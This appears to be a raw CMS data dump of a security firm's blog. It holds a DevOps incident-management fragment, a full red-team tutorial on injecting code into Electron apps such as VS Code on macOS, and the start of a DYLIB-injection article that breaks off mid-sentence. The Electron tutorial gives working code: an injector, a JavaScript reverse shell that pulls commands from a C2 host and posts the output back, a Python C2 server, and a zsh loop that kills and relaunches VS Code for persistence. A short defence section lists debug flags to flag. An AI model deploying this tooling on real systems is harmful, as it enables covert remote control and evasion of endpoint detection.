solving",[],{"type":25,"text":32260,"spans":32261},"The blameless culture of DevOps enabled us to communicate better and more frequently. Removing the rigid silo of teams while still maintaining separation of responsibilities. Collaboration is at the heart of continuous improvement. The blameless post-mortem is the link in the chain holding it all together. As such everyone should be involved. All parties can offer a perspective on the incident and on the future changes needed in prevention. DevOps does not leave Root Cause and Continuous Improvement solely in the hands of a Problem Manager. While they manage the next step in the process, after the urgency has subsided, incident managers take on an investigative and advisory role and assist in problem management and prevention.",[],{"type":25,"text":32263,"spans":32264},"These shifting of teams into other areas responsibilities relies on clear definitions of those responsibilities. Problem Management within DevOps can suffer the same fate as it can within traditional models when given less import than Incident. It is less urgent but has vast potential for long term value adding and improvement. Change Management can also be left in a state of stagnation, not updating approval processes and assessment methods.",[],{"type":25,"text":32266,"spans":32267},"Where DevOps models differ in this way is the involvement and investment of all parties in the overall goal and process through exposure. When an Incident Manager is involved in the Problem process, they appreciate and understand the steps needed and can improve the prior stages. Where Change Managers and Development are involved in both Incident and Problem stages, they can better understand the impact from the initial point. Equally the value is felt by Development in seeing how the products developed are being used and in getting valuable feedback on areas of improvement.",[],"rich_text$ddccdb04-e920-4ec3-bca9-c041388fb500",{"variation":437,"version":438,"items":32270,"primary":32271,"id":32287,"slice_type":468,"slice_label":5},[],{"body":32272},[32273,32275,32278,32281,32284],{"type":746,"text":28602,"spans":32274},[],{"type":25,"text":32276,"spans":32277},"Here are some of the highlights we have covered in this post:",[],{"type":1151,"text":32279,"spans":32280},"Incident Management in a DevOps environment comes with a wealth of benefits, collaboration and knowledge sharing is at the heart of all aspects.",[],{"type":1151,"text":32282,"spans":32283},"DevOps places Incident Management processes into part of the bigger picture, interlinked and involved in all aspects of the business and equally does the same for all aspects of Development and Operations.",[],{"type":1151,"text":32285,"spans":32286},"DevOps is not a magic button to solve all problems, it takes hard work and by its nature is never perfect. No system or framework is, DevOps companies know this and accept it.",[],"rich_text$b3e17f74-a4e1-4460-b268-f78627ed762a",{"id":32289,"uid":32290,"type":25949,"data":32291},"alz04xEAACoAUWbG","electron-injection",{"title":32292,"excerpt":32293,"card_image":32294,"published_date":32299,"reading_time":2375,"tag":25960,"dek":32293,"featured_image":32300,"about_form3":32307,"client_about_heading":5,"client_about_body":32308,"author_name":32309,"author_title":32310,"author_photo":32311,"author_bio":32316,"author_linkedin":32320,"slices":32323,"meta_title":32292,"meta_description":32293},"Adventures into Electron code injection on MacOS","Process injection in MacOS is a difficult topic: it is well controlled and there are simply no API calls that provide any useful interface for it. As it is a feature that rarely has legitimate use cases, it makes sense from a security perspective to disable it entirely, or at least heavily restrict it under normal user conditions. However, as a red teamer, it is difficult to move from the freedom of process hollowing and remote threads on Windows, to the harsh reality of the MacOS hardened runtime. This is true especially when trying to create hidden C2 channels and evade detection from EDR and XDR software. There is one technique, however, that does not get the recognition it deserves, most probably because it can only target Electron based applications. While this sounds like a big limitation, there are popular applications that can be targeted and are more than likely to be present on the target system such as Slack, Visual Studio Code and Microsoft Teams to only name a few. These applications can all be a target of code injection by abusing Electron's built in remote debug interface.",{"dimensions":32295,"alt":32292,"copyright":5,"url":32296,"id":32297,"edit":32298},{"width":412,"height":412},"\u002F_prismic-media\u002Ffb755da4864b9552-hrdDjxzNQn-q4b2-_electron-injection.png","hrdDjxzNQn-q4b2-",{"x":398,"y":398,"zoom":399,"background":400},"2023-01-11",{"dimensions":32301,"alt":5,"copyright":5,"url":32304,"id":32305,"edit":32306},{"width":32302,"height":32303},3456,1940,"\u002F_prismic-media\u002F94830a9890b25eb7-lUikGsBZ3rnfJJUa_5a2a99eb-68cb-4041-9a1d-bad17c5.png","lUikGsBZ3rnfJJUa",{"x":398,"y":398,"zoom":399,"background":400},[],[],"Marcell Molnár","Ethical Hacker at FORM3",{"dimensions":32312,"alt":32309,"copyright":5,"url":32313,"id":32314,"edit":32315},{"width":5080,"height":5081},"\u002F_prismic-media\u002F2091efd9a6dd3441-humiYlGiVspjCKKX_f74a982a-1e49-4bf0-9b38-68a8ce9.jpg","humiYlGiVspjCKKX",{"x":398,"y":398,"zoom":399,"background":650},[32317],{"type":25,"text":32318,"spans":32319},"Marcell Molnár is a member of the Offensive Security Team at Form3. He is a regular speaker at local conferences, occasional CTF player and bug bounty hunter. He is enthusiastic about new technologies, but also firmly believes that everything can and should be solved in C.",[],{"link_type":491,"key":32321,"url":32322,"target":493},"b4f72ccf-f14a-49ab-830b-404cd05b0d1b","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmarcell-molnar\u002F",[32324,32336,32344,32352,32360,32371,32386,32394,32408,32416,32425,32433,32442,32450,32467,32475,32486,32494,32505,32513,32524,32542,32550,32568,32579,32587],{"variation":437,"version":438,"items":32325,"primary":32326,"id":32335,"slice_type":468,"slice_label":5},[],{"body":32327},[32328,32331],{"type":746,"text":32329,"spans":32330},"Electron debugging basics",[],{"type":25,"text":32332,"spans":32333},"By using command line switches it is possible to enable remote debugging via the Chrome DevTools Protocol. As an example let's start up Visual Studio Code using the --inspect switch, open a terminal and type:",[32334],{"start":4589,"end":10918,"type":765},"rich_text$6a29d8f2-7154-422d-a6c1-4aa67abe8036",{"variation":437,"version":438,"items":32337,"primary":32338,"id":32343,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32339},[32340],{"type":27922,"text":32341,"spans":32342},"\u002FApplications\u002FVisual\\ Studio\\ Code.app\u002FContents\u002FMacOS\u002FElectron --inspect",[],"code_block$57e248f3-883b-4af9-b65b-076e44060db3",{"variation":437,"version":438,"items":32345,"primary":32346,"id":32351,"slice_type":468,"slice_label":5},[],{"body":32347},[32348],{"type":25,"text":32349,"spans":32350},"After starting up the application we can use Chrome to connect to the debug port. Open Chrome and navigate to:",[],"rich_text$cec1776b-0744-4e53-ae2d-eb3cbe2323d1",{"variation":437,"version":438,"items":32353,"primary":32354,"id":32359,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32355},[32356],{"type":27922,"text":32357,"spans":32358},"chrome:\u002F\u002Finspect\u002F#devices",[],"code_block$a04e981a-7ac5-459b-8692-9ad7d312d370",{"variation":437,"version":438,"items":32361,"primary":32362,"id":32370,"slice_type":468,"slice_label":5},[],{"body":32363},[32364,32367],{"type":25,"text":32365,"spans":32366},"Now click \"Open dedicated DevTools for Node\".",[],{"type":25,"text":32368,"spans":32369},"We are presented with the familiar debug interface, showing our Electron application. Code injection from here is trivial as we can just type into the console some JavaScript code and have it execute in the target process.",[],"rich_text$73304c85-6e42-4697-8948-b06b09763973",{"variation":437,"version":527,"items":32372,"primary":32373,"id":32385,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":32374,"body":32375,"cta_label":5,"cta_link":32376,"aside_type":533,"aside_image":32377,"aside_video":32380,"aside_video_poster":32381,"aside_video_reduced_motion":32382,"aside_video_url":5,"aside_embed":32383,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":32384,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":32378,"alt":5,"copyright":5,"url":32304,"id":32305,"edit":32379},{"width":32302,"height":32303},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$27402fdc-b946-4203-90b4-1295c4daacbd",{"variation":437,"version":438,"items":32387,"primary":32388,"id":32393,"slice_type":468,"slice_label":5},[],{"body":32389},[32390],{"type":25,"text":32391,"spans":32392},"This is the basis for our technique, we will need to develop some additional tools to make this actually useful in a red team scenario. In this article we are going to look at building an injector for Electron apps, we are going write some shellcode in JavaScript that has basic command line functionality and finally we are going to look at some ways for creating persistence with zsh. Our goal is to have our shellcode execute in the target process, so in the end our C&C traffic originates from a trusted process, thus making it more difficult to detect using EDR.",[],"rich_text$b4777e05-a177-46f6-a860-bdae50096fc4",{"variation":437,"version":438,"items":32395,"primary":32396,"id":32407,"slice_type":468,"slice_label":5},[],{"body":32397},[32398,32401],{"type":746,"text":32399,"spans":32400},"Building the injector",[],{"type":25,"text":32402,"spans":32403},"We are going to build a simple injector that uses the PyChromeDevTools library (https:\u002F\u002Fgithub.com\u002Fmarty90\u002FPyChromeDevTools). Let's try the following:",[32404],{"start":3872,"end":18520,"type":489,"data":32405},{"link_type":491,"url":32406},"https:\u002F\u002Fgithub.com\u002Fmarty90\u002FPyChromeDevTools","rich_text$dcb9650e-bd1e-4a2a-9440-459a56b1a1ba",{"variation":437,"version":438,"items":32409,"primary":32410,"id":32415,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32411},[32412],{"type":27922,"text":32413,"spans":32414},"pip3 install PyChromeDevTools",[],"code_block$31569e8a-b014-404f-8f72-f20e886ee600",{"variation":437,"version":438,"items":32417,"primary":32418,"id":32424,"slice_type":468,"slice_label":5},[],{"body":32419},[32420],{"type":25,"text":32421,"spans":32422},"The contents of the file inject.py is:",[32423],{"start":1066,"end":1131,"type":765},"rich_text$2694b29a-4d1d-48f6-ace7-abffb3502235",{"variation":437,"version":438,"items":32426,"primary":32427,"id":32432,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32428},[32429],{"type":27922,"text":32430,"spans":32431},"import PyChromeDevTools\n\nchrome = PyChromeDevTools.ChromeInterface(port=9229)\n\nshellcode = '''\n  console.log(\"Hacked\");\n'''\n\nchrome.Runtime.enable();\nchrome.Runtime.evaluate(expression=shellcode, contextId=1, includeCommandLineAPI=True)",[],"code_block$37c094c2-66a2-4ec7-a74e-b58be57480c8",{"variation":437,"version":438,"items":32434,"primary":32435,"id":32441,"slice_type":468,"slice_label":5},[],{"body":32436},[32437],{"type":25,"text":32438,"spans":32439},"Start visual studio code with the --inspect switch then run the injector:",[32440],{"start":1131,"end":5136,"type":765},"rich_text$9e04aa2c-e0f5-46ae-8673-46c359b53236",{"variation":437,"version":438,"items":32443,"primary":32444,"id":32449,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32445},[32446],{"type":27922,"text":32447,"spans":32448},"python3 inject.py",[],"code_block$10343a96-2ac5-4179-a8d5-95622a75bf8b",{"variation":437,"version":527,"items":32451,"primary":32452,"id":32466,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":32453,"body":32454,"cta_label":5,"cta_link":32455,"aside_type":533,"aside_image":32456,"aside_video":32461,"aside_video_poster":32462,"aside_video_reduced_motion":32463,"aside_video_url":5,"aside_embed":32464,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":32465,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":32457,"alt":5,"copyright":5,"url":32458,"id":32459,"edit":32460},{"width":32302,"height":32303},"\u002F_prismic-media\u002F95eb4dc2b1b53fb3-TfbKodelnxO5l-W2_405801b6-d724-417b-8de2-c090799.png","TfbKodelnxO5l-W2",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$51f27418-d333-42d2-95cf-727968e79c25",{"variation":437,"version":438,"items":32468,"primary":32469,"id":32474,"slice_type":468,"slice_label":5},[],{"body":32470},[32471],{"type":25,"text":32472,"spans":32473},"Awesome, we have successfully injected JavaScript code into Visual Studio Code using Python. Now let's try to inject something a bit more useful.",[],"rich_text$aea402a6-13a8-4bdd-bdf6-07c07da1da39",{"variation":437,"version":438,"items":32476,"primary":32477,"id":32485,"slice_type":468,"slice_label":5},[],{"body":32478},[32479,32482],{"type":746,"text":32480,"spans":32481},"Building the shellcode",[],{"type":25,"text":32483,"spans":32484},"Shellcode can come in many different shapes and sizes, this one uses basic Node.js functions to query a C&C server for commands then posts the results back. We are not using any encryption, this is a vanilla reverse shell, but it uses HTTP which makes it stand out a bit less than using port 1337 when looking at network traffic. Adding HTTPS should be trivial, but would require a bit more configuration on the server side.",[],"rich_text$83c52a4a-5f1c-46d6-9c83-4c346f771824",{"variation":437,"version":438,"items":32487,"primary":32488,"id":32493,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32489},[32490],{"type":27922,"text":32491,"spans":32492},"\u002F\u002Fadd your C&C host here\nvar shellUrl = '127.0.0.1'\n\u002F\u002Fdebug purposes, if you want to kill the shell in a running VS instance pass var runShell = false in console\nvar runShell = true;\n\n\u002F\u002FHTTP POST for submitting command output\nfunction shellSendResult(result, require){\n  var http = require('http');\n\n  var options = {\n    host: shellUrl,\n    path: '\u002F',\n    method: 'POST',\n    headers: {\n      'Content-Type': 'text\u002Fhtml',\n      'Content-Length': Buffer.byteLength(result),\n    },\n  };\n\n  callback = function(response) {\n    var str = ''\n    response.on('data', function (chunk) {\n      str += chunk;\n    });\n\n    response.on('end', function () {\n      console.log(str);\n    });\n  }\n\n  var req = http.request(options, callback);\n  req.write(result);\n  req.end();\n}\n\n\u002F\u002FHTTP GET for getting commands from the server\nfunction shellGetCommand(require){\n  console.log(\"Checking in\");\n  var http = require('http');\n  \n  var options = {\n    host: shellUrl,\n    path: '\u002F'  \n  };        \n \n  callback = function(response) {\n    var str = '';\n\n    response.on('data', function (chunk) {\n      str += chunk;\n    });\n \n    response.on('end', function () {\n      console.log(str);\n      const { exec } = require('node:child_process');\n      if (str !== \"#\") {\n        exec(str, (error, stdout, stderr) => {\n          console.log(stdout + \" \" + stderr);\n          shellSendResult(stdout + \" \" + stderr, require);\n        });\n      }\n    });\n  }\n\n  http.request(options, callback).end();\n}\n\n\u002F\u002Fawkward way of sleeping in JavaScript\nfunction resolveAfter2Seconds() {\n  return new Promise(resolve => {\n    setTimeout(() => {\n      resolve('resolved');\n    }, 2000);\n  });\n}\n\n\u002F\u002Fasync function for creating a loop with delay\nasync function shellAsyncCall(require) {\n  while(runShell){\n    const result = await resolveAfter2Seconds();\n    shellGetCommand(require)\n  }\n}\n\nshellAsyncCall(require);",[],"code_block$9b47042d-2499-4a31-a4c7-7c540e361e3b",{"variation":437,"version":438,"items":32495,"primary":32496,"id":32504,"slice_type":468,"slice_label":5},[],{"body":32497},[32498,32501],{"type":746,"text":32499,"spans":32500},"Building a C2 server",[],{"type":25,"text":32502,"spans":32503},"This is a very (very) basic Python C2 server to use with our shellcode, it uses a custom HTTP handler for sending the commands and receiving output.",[],"rich_text$d6e14c95-7f5a-420b-b6f4-fefb67985203",{"variation":437,"version":438,"items":32506,"primary":32507,"id":32512,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32508},[32509],{"type":27922,"text":32510,"spans":32511},"#!\u002Fusr\u002Fbin\u002Fpython3\n\nimport warnings\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport threading\n\n#IP address to listen on\nhostName = \"0.0.0.0\"\n#Port\nserverPort = 80\ncmd = \"#\"\n\nclass MyServer(BaseHTTPRequestHandler):\n\n    def do_GET(self):\n        global cmd\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text\u002Fhtml; charset=utf-8\")\n        self.end_headers()\n        self.wfile.write(bytes(cmd, \"utf-8\"))\n        cmd = \"#\"\n\n    def do_POST(self):\n        if True:\n            self.send_response(200)\n            self.send_header(\"Content-type\", \"text\u002Fhtml; charset=utf-8\")\n            self.end_headers()\n            content = self.rfile.read(int(self.headers[\"content-length\"]))\n            try:\n                content = content.decode('ascii')\n                print(content)\n            except:\n                print(\"Error parsing response.\")    \n\n            self.wfile.write(bytes(\"\", \"utf-8\"))\n    def log_message(self, format, *args):\n        return\n\ndef cmdFunc():\n    global cmd\n    while True:\n        cmd = input(\"\")\n\nif __name__ == \"__main__\":        \n    webServer = HTTPServer((hostName, serverPort), MyServer)\n\n    print(\"Server started http:\u002F\u002F%s:%s\" % (hostName, serverPort))\n\n    try:\n        th = threading.Thread(target=cmdFunc)\n        th.start()\n        webServer.serve_forever()\n    except KeyboardInterrupt:\n        pass\n    th.join()\n    webServer.server_close()\n    print(\"Server stopped.\")",[],"code_block$6809f5d2-2f1a-4f5c-9cac-3fac22970189",{"variation":437,"version":438,"items":32514,"primary":32515,"id":32523,"slice_type":468,"slice_label":5},[],{"body":32516},[32517,32520],{"type":746,"text":32518,"spans":32519},"Putting it together",[],{"type":25,"text":32521,"spans":32522},"Let's run our C2 server, set our host and port in the injector and run the script. When we type a command we should get our result with a slight delay.",[],"rich_text$e22af7c0-4944-47a0-a098-83def6725ea8",{"variation":437,"version":527,"items":32525,"primary":32526,"id":32541,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":32527,"body":32528,"cta_label":5,"cta_link":32529,"aside_type":533,"aside_image":32530,"aside_video":32536,"aside_video_poster":32537,"aside_video_reduced_motion":32538,"aside_video_url":5,"aside_embed":32539,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":32540,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":32531,"alt":5,"copyright":5,"url":32533,"id":32534,"edit":32535},{"width":32532,"height":8736},1870,"\u002F_prismic-media\u002F0f68e7784c095385-0Nl0vj_CKkcaXU25_2142f940-edca-4230-9bff-5ab6b70.png","0Nl0vj_CKkcaXU25",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$17cff7c1-2eb1-471a-a73f-c5ff205f66d9",{"variation":437,"version":438,"items":32543,"primary":32544,"id":32549,"slice_type":468,"slice_label":5},[],{"body":32545},[32546],{"type":25,"text":32547,"spans":32548},"We can check the electron console for our command logged by the shellcode.",[],"rich_text$c7825f70-b006-439b-a6b5-4e1f96694c10",{"variation":437,"version":527,"items":32551,"primary":32552,"id":32567,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":32553,"body":32554,"cta_label":5,"cta_link":32555,"aside_type":533,"aside_image":32556,"aside_video":32562,"aside_video_poster":32563,"aside_video_reduced_motion":32564,"aside_video_url":5,"aside_embed":32565,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":32566,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":32557,"alt":5,"copyright":5,"url":32559,"id":32560,"edit":32561},{"width":32558,"height":9058},2568,"\u002F_prismic-media\u002Fe08aaa79811bca59-W7xdZz9Xs2guPujv_abe145cb-e4d3-4f9f-b59e-e79a245.png","W7xdZz9Xs2guPujv",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$9aeb1018-eaff-47f9-923f-9f929f4401bb",{"variation":437,"version":438,"items":32569,"primary":32570,"id":32578,"slice_type":468,"slice_label":5},[],{"body":32571},[32572,32575],{"type":746,"text":32573,"spans":32574},"Creating persistence",[],{"type":25,"text":32576,"spans":32577},"This is tricky, we can't just spawn a new instance of Visual Studio Code with debug enabled as the user would probably get suspicious and close it anyway. We have to wait for the user to open VS code and then inject into it. But how do we get the user to start VS Code with debugging enabled? One seemingly stupid but surprisingly effective solution is to create a sort of listener in bash, wait for a VS Code Process to spawn, kill it immediately and replace it with our own that runs with debugging enabled. This may seem like a lot of hassle, but if we are trying to hide our C2 communication in another process this is actually a great way of doing it. We will of course have to rely on the time window while the user keeps the application open, but let's face it, when was the last time we spent less than an hour in VS Code (provided we use it:)).",[],"rich_text$ee786790-c0e5-4e25-a536-268fe074b1c3",{"variation":437,"version":438,"items":32580,"primary":32581,"id":32586,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32582},[32583],{"type":27922,"text":32584,"spans":32585},"#!\u002Fbin\u002Fzsh\n\nwhile :\ndo\n      PID=$(ps uax | grep Visual | grep Electron | grep MacOS | grep -v inspect | cut -d \" \" -f 5)\n\n      if ! test -z \"$PID\"\n      then\n            echo \"Killing \\$PID\"\n            kill -9 $PID\n            \u002FApplications\u002FVisual\\ Studio\\ Code.app\u002FContents\u002FMacOS\u002FElectron --inspect &\n      else\n            sleep 1\n      fi\ndone",[],"code_block$c9569579-5ef1-4afc-9f72-3e02e23f6d0e",{"variation":437,"version":438,"items":32588,"primary":32589,"id":32623,"slice_type":468,"slice_label":5},[],{"body":32590},[32591,32594,32600,32603,32607,32611,32615,32619],{"type":746,"text":32592,"spans":32593},"Defence and detection",[],{"type":25,"text":32595,"spans":32596},"The bad news is, currently there is no official way of disabling this feature in Electron apps. The reason for this can be traced back to the Chromium threat model (https:\u002F\u002Fchromium.googlesource.com\u002Fchromium\u002Fsrc\u002F+\u002Fmaster\u002Fdocs\u002Fsecurity\u002Ffaq.md#Why-arent-physically_local-attacks-in-Chromes-threat-model), where local attacks are just not considered.",[32597],{"start":4589,"end":6510,"type":489,"data":32598},{"link_type":491,"url":32599},"https:\u002F\u002Fchromium.googlesource.com\u002Fchromium\u002Fsrc\u002F+\u002Fmaster\u002Fdocs\u002Fsecurity\u002Ffaq.md#Why-arent-physically_local-attacks-in-Chromes-threat-model",{"type":25,"text":32601,"spans":32602},"If you are running an EDR software a good way of preventing and detecting this would be to create a rule that checks process arguments. Unless you develop and debug Electron based apps regularly, any process running with the following should at least generate an alert:",[],{"type":1151,"text":32604,"spans":32605},"--inspect",[32606],{"start":398,"end":1355,"type":765},{"type":1151,"text":32608,"spans":32609},"--inspect-br",[32610],{"start":398,"end":2707,"type":765},{"type":1151,"text":32612,"spans":32613},"--debug",[32614],{"start":398,"end":1130,"type":765},{"type":1151,"text":32616,"spans":32617},"--debug-brk",[32618],{"start":398,"end":602,"type":765},{"type":1151,"text":32620,"spans":32621},"--remote-debugging-port",[32622],{"start":398,"end":4023,"type":765},"rich_text$67cb6623-b4dc-45c6-967a-c9104067068c",{"id":32625,"uid":32626,"type":25949,"data":32627},"alz1ChEAACsAUWeR","dylib-injection-in-golang-apps",{"title":32628,"excerpt":32629,"card_image":32630,"published_date":32635,"reading_time":1633,"tag":25960,"dek":32629,"featured_image":32636,"about_form3":32642,"client_about_heading":5,"client_about_body":32643,"author_name":32309,"author_title":32310,"author_photo":32644,"author_bio":32647,"author_linkedin":32650,"slices":32652,"meta_title":32628,"meta_description":32629},"DYLIB Injection in Golang apps on Apple silicon chips","Creating persistence is one of the biggest challenges during Red Team engagements, and doing it in a stealthy, yet reliable way is even more difficult. One old technique on Unix based systems is library injection through environment variables. In this post, we will look at whether this is still possible after macOS 10.14 (Mojave).",{"dimensions":32631,"alt":32628,"copyright":5,"url":32632,"id":32633,"edit":32634},{"width":412,"height":412},"\u002F_prismic-media\u002F5cde125072b2faab-ulwYk7KTY-BU0zmN_dylib-injection-in-golang-apps.","ulwYk7KTY-BU0zmN",{"x":398,"y":398,"zoom":399,"background":400},"2022-07-22",{"dimensions":32637,"alt":32638,"copyright":5,"url":32639,"id":32640,"edit":32641},{"width":501,"height":502},"Form3 blog 8 min DYLIB Injection in Golang apps on Apple silicon chips by Marcell Molnar July 22, 2022","\u002F_prismic-media\u002F73baa1439285ee21-iTNtYnyyouDx0Pqo_0d390f8b-e62b-45e6-bf6f-3532566.png","iTNtYnyyouDx0Pqo",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":32645,"alt":32309,"copyright":5,"url":32313,"id":32314,"edit":32646},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[32648],{"type":25,"text":32318,"spans":32649},[],{"link_type":491,"key":32651,"url":32322,"target":493},"e6d2b3b2-b855-48e1-993d-938923121365",[32653,32688,32702,32710,32718,32726,32737,32745,32752,32760,32768,32776,32784,32792,32800,32832,32840,32848,32856,32864,32872,32893,32901,32912,32920,32935,32943,32955,32963,32972,32983,32991,33004,33012,33032,33040,33048,33056,33064],{"variation":437,"version":438,"items":32654,"primary":32655,"id":32687,"slice_type":468,"slice_label":5},[],{"body":32656},[32657,32660,32667,32672,32675,32678,32681,32684],{"type":746,"text":32658,"spans":32659},"Overview",[],{"type":25,"text":32661,"spans":32662},"On Linux systems one can inject shared objects into a process by specifying the LD_PRELOAD environment variable, while on MacOS the equivalent is the DYLD_INSERT_LIBRARIES variable. Both of them allow the user (or the attacker) to specify a .so or .dylib file that will get loaded into a process upon execution. This effectively allows code injection and access to application internals such as process memory and control flow. It can be a powerful technique for developers debugging their applications but also for attackers creating backdoors on a system.",[32663,32664,32665,32666],{"start":3872,"end":5497,"type":765},{"start":9206,"end":754,"type":765},{"start":18958,"end":13578,"type":765},{"start":18768,"end":24944,"type":765},{"type":25,"text":32668,"spans":32669},"We carry out our Red Team engagements in an environment with a large number of clients running MacOS and custom Golang applications, and wanted to test if DYLIB injection was still feasible after the introduction of System Integrity Protection (SIP) and Hardened Runtime by Apple in macOS 10.14 (Mojave).",[32670,32671],{"start":9294,"end":20976,"type":593},{"start":24944,"end":29390,"type":593},{"type":25,"text":32673,"spans":32674},"In this article we will cover:",[],{"type":1151,"text":32676,"spans":32677},"testing DYLIB injection on Golang apps on an M1 Mac",[],{"type":1151,"text":32679,"spans":32680},"creating an effective payload for terminal keylogging on OSX",[],{"type":1151,"text":32682,"spans":32683},"facing the challenges of multiarch support via Rosetta",[],{"type":1151,"text":32685,"spans":32686},"mitigating DYLIB injection in Golang apps by using hardened runtime",[],"rich_text$78b67713-3020-4165-a62c-05349c65da81",{"variation":437,"version":438,"items":32689,"primary":32690,"id":32701,"slice_type":468,"slice_label":5},[],{"body":32691},[32692,32695,32698],{"type":746,"text":32693,"spans":32694},"Dylib injection in Golang apps",[],{"type":25,"text":32696,"spans":32697},"The good (and also the bad news) is, DYLIB injection in Golang apps just works. Since Golang is compiled into native machine code it is just as vulnerable to DYLIB injection as any other application built in C for example. To test this we can create a small Golang application:",[],{"type":25,"text":32699,"spans":32700},"password.go",[],"rich_text$598ab7ba-9c3b-47a1-8cae-10839a632f4d",{"variation":437,"version":438,"items":32703,"primary":32704,"id":32709,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32705},[32706],{"type":27922,"text":32707,"spans":32708},"package main\n\nimport (\n    \"fmt\"\n)\n\nfunc main() {\n    fmt.Println(\"Enter password: \")\n    text2 := \"\"\n    fmt.Scanln(&text2)\n    fmt.Println(\"Welcome!\")\n}",[],"code_block$c4b5be52-4acc-4e7c-9084-9cdf4d526ef8",{"variation":437,"version":438,"items":32711,"primary":32712,"id":32717,"slice_type":468,"slice_label":5},[],{"body":32713},[32714],{"type":25,"text":32715,"spans":32716},"Build it with:",[],"rich_text$e3e7655d-f160-4049-8a05-c43dc8777611",{"variation":437,"version":438,"items":32719,"primary":32720,"id":32725,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32721},[32722],{"type":27922,"text":32723,"spans":32724},"% go build password.go",[],"code_block$cf31a938-72ff-4204-a440-ac7844159bda",{"variation":437,"version":438,"items":32727,"primary":32728,"id":32736,"slice_type":468,"slice_label":5},[],{"body":32729},[32730,32733],{"type":25,"text":32731,"spans":32732},"Now let's build a library we can inject. We are going to code this one in C, for the sake of expanding it later into a proper payload:",[],{"type":25,"text":32734,"spans":32735},"payload.c",[],"rich_text$21a275b4-0367-402f-b5ed-b2b11de6a3bb",{"variation":437,"version":438,"items":32738,"primary":32739,"id":32744,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32740},[32741],{"type":27922,"text":32742,"spans":32743},"#include \u003Cstdio.h>\n\n__attribute__((constructor))\nstatic void customConstructor(int argc, const char **argv)\n{\n  printf(\"DYLIB injection successful!\\n\");\n}",[],"code_block$1d29606c-93b1-41a8-868e-ddb65a1ec100",{"variation":437,"version":438,"items":32746,"primary":32747,"id":32751,"slice_type":468,"slice_label":5},[],{"body":32748},[32749],{"type":25,"text":32715,"spans":32750},[],"rich_text$5f2c7891-eb76-4fd9-87ad-3ac2c0c7d5f1",{"variation":437,"version":438,"items":32753,"primary":32754,"id":32759,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32755},[32756],{"type":27922,"text":32757,"spans":32758},"% gcc -dynamiclib payload.c -o payload.dylib",[],"code_block$2d153772-987e-4942-8927-6db98b4ff406",{"variation":437,"version":438,"items":32761,"primary":32762,"id":32767,"slice_type":468,"slice_label":5},[],{"body":32763},[32764],{"type":25,"text":32765,"spans":32766},"Now export the library path:",[],"rich_text$8cced8d3-6525-4e14-8152-7bc5c055acfa",{"variation":437,"version":438,"items":32769,"primary":32770,"id":32775,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32771},[32772],{"type":27922,"text":32773,"spans":32774},"% export DYLD_INSERT_LIBRARIES=$PATH\u002Fpayload.dylib",[],"code_block$34d212fe-cd1d-4b01-baa0-adf2ac6ab4f3",{"variation":437,"version":438,"items":32777,"primary":32778,"id":32783,"slice_type":468,"slice_label":5},[],{"body":32779},[32780],{"type":25,"text":32781,"spans":32782},"And finally execute the password application:",[],"rich_text$44bc9cfc-4833-422e-a4ea-185635062d90",{"variation":437,"version":438,"items":32785,"primary":32786,"id":32791,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32787},[32788],{"type":27922,"text":32789,"spans":32790},"% .\u002Fpassword\nDYLIB injection successful!\nEnter password:",[],"code_block$11457289-63fe-4c4d-a45f-23c7af1e6f17",{"variation":437,"version":438,"items":32793,"primary":32794,"id":32799,"slice_type":468,"slice_label":5},[],{"body":32795},[32796],{"type":25,"text":32797,"spans":32798},"From the output we can see the library code executed, along with the original binary, the DYLIB injection was successful.",[],"rich_text$5b1fee6d-c919-4446-bfeb-53e66f49041a",{"variation":437,"version":438,"items":32801,"primary":32802,"id":32831,"slice_type":468,"slice_label":5},[],{"body":32803},[32804,32807,32810,32813,32817,32820],{"type":746,"text":32805,"spans":32806},"Creating a terminal keylogger payload",[],{"type":25,"text":32808,"spans":32809},"Injecting a library is quite easy as we can see, however creating a useful payload most of the time is not as straightforward. While we could of course execute anything by creating a new thread, in the case of library injection what we are usually after is getting access to the data handled by the process itself.",[],{"type":25,"text":32811,"spans":32812},"We could reverse engineer the application and attempt to tamper with the 